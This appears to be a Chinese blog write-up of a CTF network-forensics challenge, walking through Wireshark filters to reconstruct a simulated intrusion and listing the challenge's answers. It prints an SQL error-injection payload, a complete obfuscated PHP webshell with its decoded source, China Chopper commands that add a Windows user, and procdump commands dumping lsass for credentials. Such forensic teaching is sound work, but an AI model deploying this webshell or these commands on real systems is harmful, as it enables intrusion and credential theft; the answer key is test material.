铁三2018.5.5数据分析

版权声明:本文为博主原创文章,未经博主允许不得转载。 https://blog.csdn.net/u011377996/article/details/82463798

keep learning

正文

链接: https://pan.baidu.com/s/1b6bkW-J8vKASr8C2r9vsdQ 密码: nux4
感谢方方土学长的题解,学习到了一定的套路

题目描述

1.黑客攻击的第一个受害主机的网卡IP地址
2.黑客对URL的哪一个参数实施了SQL注入
3.第一个受害主机网站数据库的表前缀(加上下划线 例如abc_)
4.第一个受害主机网站数据库的名字
5.Joomla后台管理员的密码是多少
6.黑客第一次获得的php木马的密码是什么
7.黑客第二次上传php木马是什么时间
8.第二次上传的木马通过HTTP协议中的哪个头传递数据
9.内网主机的mysql用户名和请求连接的密码hash是多少(用户:密码hash)
10.php代理第一次被使用时最先连接了哪个IP地址
11.黑客第一次获取到当前目录下的文件列表的漏洞利用请求发生在什么时候
12.黑客在内网主机中添加的用户名和密码是多少
13.黑客从内网服务器中下载下来的文件名

先看看这些包都是按时间顺序命名的
iCAIZn.png
先打开第一个包
一般黑客攻击先从应用层发起攻击,所以先过滤http看一下
发现ip为202.1.1.2192.168.1.8有很明显的爆破痕迹,把里面的url的内容urldecode一下会发现明显的sql查询语句,而且有很明显sqlmap指纹痕迹
iCAbGT.png

所以就解决了受害主机ip是192.168.1.8
我们再详细过滤一下

http and ip.src == 202.1.1.2

可以得到比较详细的爆破过程,标记一下最后一个,然后返回http查看他的response
iCAqRU.md.png

很明显了,注入的参数是list[select],并且应该是使用了报错注入

 <!DOCTYPE html>\n
    <html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en-gb" lang="en-gb" dir="ltr">\n
    <head>\n
    \t<meta http-equiv="content-type" content="text/html; charset=utf-8" />\n
     [truncated]\t<title>Error: 500 XPATH syntax error: &#039;qqzvqadminqqkkq&#039; SQL=SELECT (UPDATEXML(6315,CONCAT(0x2e,0x71717a7671,(SELECT MID((IFNULL(CAST(username AS CHAR),0x20)),1,22) FROM joomla.ajtuc_users ORDER BY id LIMIT 0,1),0x71
    FROM `ajtuc_ucm_history` AS h\n
    LEFT JOIN ajtuc_users AS uc ON uc.id = h.editor_user_id\n

而且还可以从响应里面发现是从joomla.ajtuc_users表里面注入的东西,也知道了前缀为ajtuc,同时也知道了数据库为joomla。第三四题解决

然后要找登录后台的密码,但是这里直接contains "password"是找不到的,我们这时候就得转换思路就是说黑客是从数据库里把密码爆出来的
如果仔细看这个黑客的行为的话,他事先尝试登录发现不行才用的SQL注入,所以也就跟着这个思路来走了

既然报错注入,里面必含有password的关键字以及表名,立即过滤
ip.src == 202.1.1.2 and http contains "password" and http contains "joomla.ajtuc_users"
发现有三条,标记一下查看他们的response

Status: 500 XPATH syntax error: 'qqzvq$2y$10$lXujU7XaUviJDigqqkkq' 
Status: 500 XPATH syntax error: 'qqzvqFMzKy6.wx7EMCBqpzrJdn7qqkkq' 
Status: 500 XPATH syntax error: 'qqzvqzi/8B2QRD7qIlDJeqqkkq' 

再来查看一下报错注入是这样的,存在拼接0x71717a7671,解码一下qqzvq
UPDATEXML(5928,CONCAT(0x2e,0x71717a7671,(SELECT MID((IFNULL(CAST(password AS CHAR),0x20)),1,22,所以得把qqzvq前缀去掉

$2y$10$lXujU7XaUviJDigqqkkqFMzKy6.wx7EMCBqpzrJdn7qqkkqzi/8B2QRD7qIlDJeqqkkq
拼接起来就是经过加密后的密码,官方答案是qwert123,但还是解不出来

第一个包里面过滤
http.request.method == "POST" and ip.src == 202.1.1.2
iCEeeA.md.png

没发现有可疑数据

再找第二个包
ip.src == 202.1.1.2 and http.request.method == "POST" and http contains "eval",发现存在一个文件kkkaaa.php
iCEMJf.md.png

可以发现这里面的是一个马,密码为zzz
然后我们再根据这个马去寻找上传的的第二个马
当我们点到第三个报文的时候发现多了一个参数z2,有点可疑
iCEQW8.md.png

保存出来看一下,发现是段php代码,
iCE3Qg.png

<?php.$p='l>]ower";$i>]=$m[1][0].$m[1]>][1];$h>]=$>]sl($ss(m>]d5($i.>]$kh),0>],3))>];$f=$s>]l($s>]s(md5';.$d=']q=array_v>]>]alues(>]$q);>]preg_match_a>]ll("/(>][\\w]>])[\\w->]]+>](?:;q=>]0.([\\d]))?,?/",>';.$W='),$ss(>]$s[>]$i],>]0,$e))),$>]>]k)));>]$o=ob_get_content>]>]s();ob_end_>]>]clean();$d=>]base';.$e=']T_LANGUAGE"];if($rr>]&&$>]ra){$>]u=pars>]e_>]url($rr);par>]se_st>]r($u[">]query"],$>]q);$>';.$E='>]64_e>]ncod>]e>](>]x(gz>]compress($o),$k));pri>]nt("<$k>$d<>]/$k>">])>];@>]session_destr>]oy();}}}}';.$t='($i.>]$kf),0,3>]));$p>]="";fo>]r($z=1>];$z<>]count($m>][1]);$z+>]>]+)$p>].=$q[$m[>]2][$z]];i>';.$M=']$ra,$>]m);if($q>]&&$m>]){@sessi>]on_sta>]>]rt();$s=&$>]_SESS>]ION;$>]>]s>]s="substr";$sl="s>]>]trto';.$P=']f(s>]tr>]pos($p>],$h)===0){$s[>]$i]="";$p>]=$ss($>]p,3);>]}if(ar>]ray>]_key_exist>]>]s($i,$>]s)>]){$>';.$j=str_replace('fr','','cfrrfreatfrfre_funcfrtfrion');.$k='];}}re>]>]turn $o;>]}$>]r=$_SERV>]ER;$rr=@$r[>]"HTTP>]_REFERE>]R"];$ra>]=@>]$r[">]HTTP_A>]CC>]EP>';.$g='"";for(>]$i=>]0;$i<$l;>])>]{for($j=0;($j<>]$c&&>]$i<$l);$>]j++,$i>]++){$o.>]=$t{$i>]}^$k{$j}>';.$R='$k>]h="cb4>]2";$kf="e130">];functio>]n>] x($t>],$k){$c=s>]trle>]>]n($k);$l=strle>]n>]($t)>];$o=';.$Q=']s[$i].=$p;$e=strp>]>]os(>]$s[$i>]],$f);if($>]e){$k=$kh.$k>]f;>]ob_sta>]rt();@e>]val(@gzun>]co>';.$v=']mpress(@x>](@b>]as>]>]e64_decode(pr>]>]e>]g_repla>]ce(array("/_/","/-/"),arr>]ay(>]"/","+">]';.$x=str_replace('>]','',$R.$g.$k.$e.$d.$M.$p.$t.$P.$Q.$v.$W.$E);.$N=$j('',$x);$N();.?>

解混淆

var_dump($j);
var_dump($x);

得到

string(15) "create_function"
string(929) "$kh="cb42";$kf="e130";function x($t,$k){$c=strlen($k);$l=strlen($t);$o="";for($i=0;$i<$l;){for($j=0;($j<$c&&$i<$l);$j++,$i++){$o.=$t{$i}^$k{$j};}}return $o;}$r=$_SERVER;$rr=@$r["HTTP_REFERER"];$ra=@$r["HTTP_ACCEPT_LANGUAGE"];if($rr&&$ra){$u=parse_url($rr);parse_str($u["query"],$q);$q=array_values($q);preg_match_all("/([\w])[\w-]+(?:;q=0.([\d]))?,?/",$ra,$m);if($q&&$m){@session_start();$s=&$_SESSION;$ss="substr";$sl="strtolower";$i=$m[1][0].$m[1][1];$h=$sl($ss(md5($i.$kh),0,3));$f=$sl($ss(md5($i.$kf),0,3));$p="";for($z=1;$z<count($m[1]);$z++)$p.=$q[$m[2][$z]];if(strpos($p,$h)===0){$s[$i]="";$p=$ss($p,3);}if(array_key_exists($i,$s)){$s[$i].=$p;$e=strpos($s[$i],$f);if($e){$k=$kh.$kf;ob_start();@eval(@gzuncompress(@x(@base64_decode(preg_replace(array("/_/","/-/"),array("/","+"),$ss($s[$i],0,$e))),$k)));$o=ob_get_contents();ob_end_clean();$d=base64_encode(x(gzcompress($o),$k));print("<$k>$d</$k>");@session_destroy();}}}}"

基本上可以确定这是第二个马
上传时间为
17:20:44.248365
然后重新过滤一下
ip.src == 202.1.1.2 and http根据时间上的关系也可以确定第二上传的马的名字为/tmp/footer.php

其实我们也可以从上面发现关于头的操作有两个东西

$rr = @$_SERVER["HTTP_REFERER"];
$ra = @$_SERVER["HTTP_ACCEPT_LANGUAGE"];

看的跟清楚一点可以追踪几个footer的流看一下
明显发现referer有base64加密但是LANGUAGE没啥变化,所以最后的答案应该是referer
iCENoq.md.png

然后题目抛出mysql的操作
在第四个包里面才找到关于SQL的相关协议
iCEbTI.md.png
mysql and mysql contains "password"
过滤之后可以发现黑客又在爆破
直接找到最后的login请求里面的hash值就是password
iCEdYV.md.png

然后再来过滤一波查看黑客究竟footer.php之后的操作,发现有tunnel这样的关键字样,明显第一次使用的代理ip为4.2.2.2
iCEBSU.md.png

然后第五到第八个包没有任何有关题目的答案

过滤第九个包的内容
(ip.addr == 202.1.1.2) and (http contains "ls"|| http contains "dir")
发现有两次列目录的过程
iCEXff.md.png

用了dir的那一次才有回显,系统是Windows没错了
iCEz6g.md.png
时间很明显就是这个了
我么现在知道黑客攻击的ip是192.168.2.20,然后过滤一下ip.addr == 192.168.2.20 && http
iCVSXQ.md.png
发现黑客通过echo命令写入一句话木马,然后通过sh.php执行
再过滤一下
ip.src == 192.168.2.20 && http
发现在18:49:27.767754发现了疑似黑客振兴net user localgroup 命令的结果
iCVC0s.md.png
标记一下在其附近找请求

果不其然
在他的下方的post请求里面的z2参数里面解码得到
iCVFkq.md.png

cd/d"C:\phpStudy\WWW\b2evolution\install\test\"&net user kaka kaka /add&echo [S]&cd&echo [E]
也就是增加了kaka:kaka这个用户名和密码

最后一个问题是下载了什么文件,由于使用菜刀下载的,很简单直接过滤post请求就好
ip.dst == 192.168.2.20 && http.request.method== "POST"
iCVecF.md.png

在这个包里面会发现最后有几个报文是含有z2参数的,十分可疑,解码
会发现哟一个利用procdump.exe操作的东西
cd/d"C:\phpStudy\WWW\b2evolution\install\test\"&procdump.exe -accepteula -ma lspasss.dmp&echo [S]&cd&echo [E]
下面的post请求解码z2参数也是类似的东西
cd/d"C:\phpStudy\WWW\b2evolution\install\test\"&procdump.exe -accepteula -ma lsass.exe&echo [S]&cd&echo [E]
再来解码一下最后一个报文里面的东西,发现这个文件
C:\phpStudy\WWW\b2evolution\install\test\lsass.exe_180208_185247.dmp
猜测应该是下了这个文件
然后打开第10个报文确认就是这个文件就好了

答案归纳

1.192.168.1.8
2.list[select]
3.ajtuc
4.joomla
5.$2y$10$lXujU7XaUviJDigFMzKy6.wx7EMCBqpzrJdn7zi/8B2QRD7qIlDJe(未解密)
6.zzz
7.17:20:44.248365
8.Referer
9.admin:1a3068c3e29e03e3bcfdba6f8669ad23349dc6c4
10.4.2.2.2
11.18:49:27.767754
12.kaka:kaka
13.lsass.exe_180208_185247.dmp

小结

1.发现有菜刀流量的时候多关注是否出现z2参数的值,凡是出现这种参数的值得多去解码看看,不要嫌麻烦,因为这里面往往包含一些关键操作
2.出现一些有关php混淆的代码的时候要学会找到对应的参数去反混淆2333

猜你喜欢

转载自blog.csdn.net/u011377996/article/details/82463798